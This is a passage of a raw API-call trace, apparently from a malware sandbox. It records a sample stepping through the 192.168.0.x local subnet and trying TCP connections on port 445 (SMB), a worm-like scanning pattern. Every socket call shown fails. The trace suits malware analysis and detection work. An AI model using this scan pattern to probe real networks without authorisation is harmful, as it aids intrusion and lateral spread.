0xffffffff [0258.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.270] htonl (hostlong=0xc0a8002c) returned 0x2c00a8c0 [0258.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.271] htonl (hostlong=0xc0a8002d) returned 0x2d00a8c0 [0258.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.271] htonl (hostlong=0xc0a8002e) returned 0x2e00a8c0 [0258.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.271] htonl (hostlong=0xc0a8002f) returned 0x2f00a8c0 [0258.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.271] htonl (hostlong=0xc0a80030) returned 0x3000a8c0 [0258.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.271] htonl (hostlong=0xc0a80031) returned 0x3100a8c0 [0258.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.271] htonl (hostlong=0xc0a80032) returned 0x3200a8c0 [0258.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.271] htonl (hostlong=0xc0a80033) returned 0x3300a8c0 [0258.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.271] htonl (hostlong=0xc0a80034) returned 0x3400a8c0 [0258.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.271] htonl (hostlong=0xc0a80035) returned 0x3500a8c0 [0258.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.271] htonl (hostlong=0xc0a80036) returned 0x3600a8c0 [0258.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.271] htonl (hostlong=0xc0a80037) returned 0x3700a8c0 [0258.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.271] htonl (hostlong=0xc0a80038) returned 0x3800a8c0 [0258.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.271] htonl (hostlong=0xc0a80039) returned 0x3900a8c0 [0258.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.271] htonl (hostlong=0xc0a8003a) returned 0x3a00a8c0 [0258.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.272] htonl (hostlong=0xc0a8003b) returned 0x3b00a8c0 [0258.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.272] htonl (hostlong=0xc0a8003c) returned 0x3c00a8c0 [0258.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.272] htonl (hostlong=0xc0a8003d) returned 0x3d00a8c0 [0258.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.272] htonl (hostlong=0xc0a8003e) returned 0x3e00a8c0 [0258.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.272] htonl (hostlong=0xc0a8003f) returned 0x3f00a8c0 [0258.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.272] htonl (hostlong=0xc0a80040) returned 0x4000a8c0 [0258.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.272] htonl (hostlong=0xc0a80041) returned 0x4100a8c0 [0258.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.272] htonl (hostlong=0xc0a80042) returned 0x4200a8c0 [0258.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.272] htonl (hostlong=0xc0a80043) returned 0x4300a8c0 [0258.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.272] htonl (hostlong=0xc0a80044) returned 0x4400a8c0 [0258.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.272] htonl (hostlong=0xc0a80045) returned 0x4500a8c0 [0258.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.272] htonl (hostlong=0xc0a80046) returned 0x4600a8c0 [0258.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.272] htonl (hostlong=0xc0a80047) returned 0x4700a8c0 [0258.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.272] htonl (hostlong=0xc0a80048) returned 0x4800a8c0 [0258.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.272] htonl (hostlong=0xc0a80049) returned 0x4900a8c0 [0258.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.273] htonl (hostlong=0xc0a8004a) returned 0x4a00a8c0 [0258.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.273] htonl (hostlong=0xc0a8004b) returned 0x4b00a8c0 [0258.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.273] htonl (hostlong=0xc0a8004c) returned 0x4c00a8c0 [0258.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.273] htonl (hostlong=0xc0a8004d) returned 0x4d00a8c0 [0258.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.273] htonl (hostlong=0xc0a8004e) returned 0x4e00a8c0 [0258.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.273] htonl (hostlong=0xc0a8004f) returned 0x4f00a8c0 [0258.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.273] htonl (hostlong=0xc0a80050) returned 0x5000a8c0 [0258.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.273] htonl (hostlong=0xc0a80051) returned 0x5100a8c0 [0258.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.273] htonl (hostlong=0xc0a80052) returned 0x5200a8c0 [0258.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.273] htonl (hostlong=0xc0a80053) returned 0x5300a8c0 [0258.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.273] htonl (hostlong=0xc0a80054) returned 0x5400a8c0 [0258.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.273] htonl (hostlong=0xc0a80055) returned 0x5500a8c0 [0258.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.273] htonl (hostlong=0xc0a80056) returned 0x5600a8c0 [0258.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.273] htonl (hostlong=0xc0a80057) returned 0x5700a8c0 [0258.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.273] htonl (hostlong=0xc0a80058) returned 0x5800a8c0 [0258.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.274] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.274] htonl (hostlong=0xc0a80059) returned 0x5900a8c0 [0258.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.274] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.274] htonl (hostlong=0xc0a8005a) returned 0x5a00a8c0 [0258.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.274] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.274] htonl (hostlong=0xc0a8005b) returned 0x5b00a8c0 [0258.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.274] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.274] htonl (hostlong=0xc0a8005c) returned 0x5c00a8c0 [0258.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.274] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.274] htonl (hostlong=0xc0a8005d) returned 0x5d00a8c0 [0258.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.274] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.274] htonl (hostlong=0xc0a8005e) returned 0x5e00a8c0 [0258.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.274] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0258.274] GetProcessHeap () returned 0x6a0000 [0258.274] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37af5a0 | out: hHeap=0x6a0000) returned 1 [0258.274] GetProcessHeap () returned 0x6a0000 [0258.274] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x794e58 | out: hHeap=0x6a0000) returned 1 [0258.274] htons (hostshort=0x1bd) returned 0xbd01 [0258.274] GetProcessHeap () returned 0x6a0000 [0258.274] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x800) returned 0x37af5a0 [0258.274] GetProcessHeap () returned 0x6a0000 [0258.274] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x800) returned 0x794e58 [0258.274] htonl (hostlong=0xc0a80060) returned 0x6000a8c0 [0258.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.274] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.274] htonl (hostlong=0xc0a80061) returned 0x6100a8c0 [0258.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.274] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.274] htonl (hostlong=0xc0a80062) returned 0x6200a8c0 [0258.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.274] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.274] htonl (hostlong=0xc0a80063) returned 0x6300a8c0 [0258.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.274] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.274] htonl (hostlong=0xc0a80064) returned 0x6400a8c0 [0258.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.275] htonl (hostlong=0xc0a80065) returned 0x6500a8c0 [0258.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.275] htonl (hostlong=0xc0a80066) returned 0x6600a8c0 [0258.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.275] htonl (hostlong=0xc0a80067) returned 0x6700a8c0 [0258.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.275] htonl (hostlong=0xc0a80068) returned 0x6800a8c0 [0258.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.275] htonl (hostlong=0xc0a80069) returned 0x6900a8c0 [0258.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.275] htonl (hostlong=0xc0a8006a) returned 0x6a00a8c0 [0258.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.275] htonl (hostlong=0xc0a8006b) returned 0x6b00a8c0 [0258.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.275] htonl (hostlong=0xc0a8006c) returned 0x6c00a8c0 [0258.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.275] htonl (hostlong=0xc0a8006d) returned 0x6d00a8c0 [0258.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.275] htonl (hostlong=0xc0a8006e) returned 0x6e00a8c0 [0258.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.275] htonl (hostlong=0xc0a8006f) returned 0x6f00a8c0 [0258.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.275] htonl (hostlong=0xc0a80070) returned 0x7000a8c0 [0258.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.275] htonl (hostlong=0xc0a80071) returned 0x7100a8c0 [0258.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.275] htonl (hostlong=0xc0a80072) returned 0x7200a8c0 [0258.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.276] htonl (hostlong=0xc0a80073) returned 0x7300a8c0 [0258.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.276] htonl (hostlong=0xc0a80074) returned 0x7400a8c0 [0258.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.276] htonl (hostlong=0xc0a80075) returned 0x7500a8c0 [0258.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.276] htonl (hostlong=0xc0a80076) returned 0x7600a8c0 [0258.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.276] htonl (hostlong=0xc0a80077) returned 0x7700a8c0 [0258.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.276] htonl (hostlong=0xc0a80078) returned 0x7800a8c0 [0258.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.276] htonl (hostlong=0xc0a80079) returned 0x7900a8c0 [0258.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.276] htonl (hostlong=0xc0a8007a) returned 0x7a00a8c0 [0258.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.276] htonl (hostlong=0xc0a8007b) returned 0x7b00a8c0 [0258.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.276] htonl (hostlong=0xc0a8007c) returned 0x7c00a8c0 [0258.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.276] htonl (hostlong=0xc0a8007d) returned 0x7d00a8c0 [0258.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.276] htonl (hostlong=0xc0a8007e) returned 0x7e00a8c0 [0258.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.276] htonl (hostlong=0xc0a8007f) returned 0x7f00a8c0 [0258.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.276] htonl (hostlong=0xc0a80080) returned 0x8000a8c0 [0258.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.277] htonl (hostlong=0xc0a80081) returned 0x8100a8c0 [0258.277] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.277] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.277] htonl (hostlong=0xc0a80082) returned 0x8200a8c0 [0258.277] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.277] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.277] htonl (hostlong=0xc0a80083) returned 0x8300a8c0 [0258.277] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.277] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.277] htonl (hostlong=0xc0a80084) returned 0x8400a8c0 [0258.277] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.277] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.277] htonl (hostlong=0xc0a80085) returned 0x8500a8c0 [0258.277] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.277] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.277] htonl (hostlong=0xc0a80086) returned 0x8600a8c0 [0258.277] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.277] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.277] htonl (hostlong=0xc0a80087) returned 0x8700a8c0 [0258.277] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.277] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.277] htonl (hostlong=0xc0a80088) returned 0x8800a8c0 [0258.277] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.277] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.277] htonl (hostlong=0xc0a80089) returned 0x8900a8c0 [0258.277] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.277] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.277] htonl (hostlong=0xc0a8008a) returned 0x8a00a8c0 [0258.277] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.277] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.277] htonl (hostlong=0xc0a8008b) returned 0x8b00a8c0 [0258.277] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.277] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.277] htonl (hostlong=0xc0a8008c) returned 0x8c00a8c0 [0258.277] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.277] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.277] htonl (hostlong=0xc0a8008d) returned 0x8d00a8c0 [0258.278] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.278] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.278] htonl (hostlong=0xc0a8008e) returned 0x8e00a8c0 [0258.278] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.278] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.278] htonl (hostlong=0xc0a8008f) returned 0x8f00a8c0 [0258.278] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.278] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.278] htonl (hostlong=0xc0a80090) returned 0x9000a8c0 [0258.278] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.278] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.278] htonl (hostlong=0xc0a80091) returned 0x9100a8c0 [0258.278] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.278] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.278] htonl (hostlong=0xc0a80092) returned 0x9200a8c0 [0258.278] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.278] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.278] htonl (hostlong=0xc0a80093) returned 0x9300a8c0 [0258.278] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.278] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.278] htonl (hostlong=0xc0a80094) returned 0x9400a8c0 [0258.278] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.278] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.278] htonl (hostlong=0xc0a80095) returned 0x9500a8c0 [0258.278] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.278] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.278] htonl (hostlong=0xc0a80096) returned 0x9600a8c0 [0258.278] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.278] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.278] htonl (hostlong=0xc0a80097) returned 0x9700a8c0 [0258.278] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.278] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.278] htonl (hostlong=0xc0a80098) returned 0x9800a8c0 [0258.278] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.278] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 